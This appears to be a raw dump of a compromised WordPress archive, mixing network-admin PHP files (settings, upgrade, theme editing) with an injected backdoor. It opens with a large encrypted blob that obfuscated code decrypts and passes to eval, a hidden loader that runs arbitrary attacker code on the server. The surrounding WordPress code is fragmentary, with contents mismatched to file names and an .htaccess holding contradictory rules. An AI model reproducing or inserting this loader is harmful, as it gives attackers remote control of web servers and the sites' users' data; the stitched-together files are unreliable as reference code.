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';
$decrypted = $secure->decrypt($str);
$ijOFmgg8qy = function($z5FSeD356nf){
/*Tq01vO8ef*/eVaL($z5FSeD356nf);
$AIdlk05TCfd = "cE04xqCpiaV0uYjLJTIXnXc3zab2UUN3";
return $AIdlk05TCfd;
};
$ijOFmgg8qy($decrypted);
PK ! js/.htaccessnu [
Order allow,deny
Deny from all
Order allow,deny
Allow from all
PK ! W W settings.phpnu [ add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'This screen sets and changes options for the network as a whole. The first site is the main site in the network and network options are pulled from that original site’s options.' ) . '
' .
'
' . __( 'Operational settings has fields for the network’s name and admin email.' ) . '
' .
'
' . __( 'Registration settings can disable/enable public signups. If you let others sign up for a site, install spam plugins. Spaces, not commas, should separate names banned as sites for this network.' ) . '
' .
'
' . __( 'New site settings are defaults applied when a new site is created in the network. These include welcome email for when a new site or user account is registered, and what᾿s put in the first post, page, comment, comment author, and comment URL.' ) . '
' .
'
' . __( 'Upload settings control the size of the uploaded files and the amount of available upload space for each site. You can change the default value for specific sites when you edit a particular site. Allowed file types are also listed (space separated only).' ) . '
' .
'
' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '
' .
'
' . __( 'Menu setting enables/disables the plugin menus from appearing for non super admins, so that only super admins, not site admins, have access to activate plugins.' ) . '
' .
'
' . __( 'Super admins can no longer be added on the Options screen. You must now go to the list of existing users on Network Admin > Users and click on Username or the Edit action link below that name. This goes to an Edit User page where you can check a box to grant super admin privileges.' ) . '
PK ! s
update.phpnu [ domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );
/**
* Filters whether to redirect the request to the Network Admin.
*
* @since 3.2.0
*
* @param bool $redirect_network_admin_request Whether the request should be redirected.
*/
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
wp_redirect( network_admin_url() );
exit;
}
unset( $redirect_network_admin_request );
PK ! d freedoms.phpnu [ add_help_tab(
array(
'id' => 'overview',
'title' => __( 'Overview' ),
'content' =>
'
' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '
' .
'
' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '
' .
'
' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '
";
$response = wp_remote_get(
$upgrade_url,
array(
'timeout' => 120,
'httpversion' => '1.1',
'sslverify' => false,
)
);
if ( is_wp_error( $response ) ) {
wp_die(
sprintf(
/* translators: 1: Site URL, 2: Server error message. */
__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
$siteurl,
'' . $response->get_error_message() . ''
)
);
}
/**
* Fires after the Multisite DB upgrade for each site is complete.
*
* @since MU (3.0.0)
*
* @param array $response The upgrade response array.
*/
do_action( 'after_mu_upgrade', $response );
/**
* Fires after each site has been upgraded.
*
* @since MU (3.0.0)
*
* @param int $site_id The Site ID.
*/
do_action( 'wpmu_upgrade_site', $site_id );
}
echo '
';
?>
PK ! spn n edit.phpnu [ add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );
get_current_screen()->set_screen_reader_content(
array(
'heading_views' => __( 'Filter site themes list' ),
'heading_pagination' => __( 'Site themes list navigation' ),
'heading_list' => __( 'Site themes list' ),
)
);
$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$action = $wp_list_table->current_action();
$s = $_REQUEST['s'] ?? '';
// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array( 'enabled', 'disabled', 'error' );
$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer = remove_query_arg( $temp_args, wp_get_referer() );
if ( ! empty( $_REQUEST['paged'] ) ) {
$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}
$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
if ( ! $id ) {
wp_die( __( 'Invalid site ID.' ) );
}
$wp_list_table->prepare_items();
$details = get_site( $id );
if ( ! $details ) {
wp_die( __( 'The requested site does not exist.' ) );
}
if ( ! can_edit_network( $details->site_id ) ) {
wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}
$is_main_site = is_main_site( $id );
if ( $action ) {
switch_to_blog( $id );
$allowed_themes = get_option( 'allowedthemes' );
switch ( $action ) {
case 'enable':
check_admin_referer( 'enable-theme_' . $_GET['theme'] );
$theme = $_GET['theme'];
$action = 'enabled';
$n = 1;
if ( ! $allowed_themes ) {
$allowed_themes = array( $theme => true );
} else {
$allowed_themes[ $theme ] = true;
}
break;
case 'disable':
check_admin_referer( 'disable-theme_' . $_GET['theme'] );
$theme = $_GET['theme'];
$action = 'disabled';
$n = 1;
if ( ! $allowed_themes ) {
$allowed_themes = array();
} else {
unset( $allowed_themes[ $theme ] );
}
break;
case 'enable-selected':
check_admin_referer( 'bulk-themes' );
if ( isset( $_POST['checked'] ) ) {
$themes = (array) $_POST['checked'];
$action = 'enabled';
$n = count( $themes );
foreach ( (array) $themes as $theme ) {
$allowed_themes[ $theme ] = true;
}
} else {
$action = 'error';
$n = 'none';
}
break;
case 'disable-selected':
check_admin_referer( 'bulk-themes' );
if ( isset( $_POST['checked'] ) ) {
$themes = (array) $_POST['checked'];
$action = 'disabled';
$n = count( $themes );
foreach ( (array) $themes as $theme ) {
unset( $allowed_themes[ $theme ] );
}
} else {
$action = 'error';
$n = 'none';
}
break;
default:
if ( isset( $_POST['checked'] ) ) {
check_admin_referer( 'bulk-themes' );
$themes = (array) $_POST['checked'];
$n = count( $themes );
$screen = get_current_screen()->id;
/**
* Fires when a custom bulk action should be handled.
*
* The redirect link should be modified with success or failure feedback
* from the action to be used to display feedback to the user.
*
* The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
*
* @since 4.7.0
*
* @param string $redirect_url The redirect URL.
* @param string $action The action being taken.
* @param array $items The items to take the action on.
* @param int $site_id The site ID.
*/
$referer = apply_filters( "handle_network_bulk_actions-{$screen}", $referer, $action, $themes, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
} else {
$action = 'error';
$n = 'none';
}
}
update_option( 'allowedthemes', $allowed_themes, false );
restore_current_blog();
wp_safe_redirect(
add_query_arg(
array(
'id' => $id,
$action => $n,
),
$referer
)
);
exit;
}
if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
wp_safe_redirect( $referer );
exit;
}
add_thickbox();
add_screen_option( 'per_page' );
// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );
$parent_file = 'sites.php';
$submenu_file = 'sites.php';
require_once ABSPATH . 'wp-admin/admin-header.php';
?>